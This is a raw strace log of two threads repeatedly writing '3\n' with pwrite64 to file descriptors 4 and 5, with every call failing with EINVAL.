[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
